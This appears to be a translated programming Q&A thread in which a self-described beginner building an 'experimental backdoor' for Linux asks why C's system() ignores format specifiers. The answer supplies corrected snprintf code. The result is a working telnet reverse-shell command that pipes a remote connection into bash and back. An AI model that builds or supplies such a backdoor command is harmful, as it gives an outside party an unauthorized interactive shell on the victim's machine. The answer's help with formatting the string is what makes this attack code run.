我在这里有点初学者。我正在为Linux做一个实验后门,使用telnet来处理套接字。我如何在字符串中使用变量,我习惯于python所以我经常会这样做:
var0 = "asdf"
var1 = "I like "+var0+" movies"
但是在C中我很困惑,因为如果我使用它:
system("telnet %i %p | bash | telnet %i %p", IP, PORT);
我执行时得到了这个:
telnet: could not resolve %i/%p: Servname not supported for ai_socktype
%I /%P 450 有人可以向我解释一下。
答案 0 :(得分:3)
您需要使用snprintf
:
char cmd[512];
snprintf(cmd, sizeof cmd, "telnet %i %p | bash | telnet %i %p", IP, PORT, IP, PORT);
system(cmd);
虽然%i
期望int
和%p
将打印给定参数作为实现定义的指针表示(因此会期望指针,但不会打印它指向的内容至)。您需要正确的格式说明符,具体取决于IP
和PORT
的类型。
请注意%i
和%p
&其他%
- 修饰符在每个C字符串中都不起作用,它们仅由*f
函数处理('f'后缀代表格式(ted))。如您所见,system
不处理它们并按字面解释它们。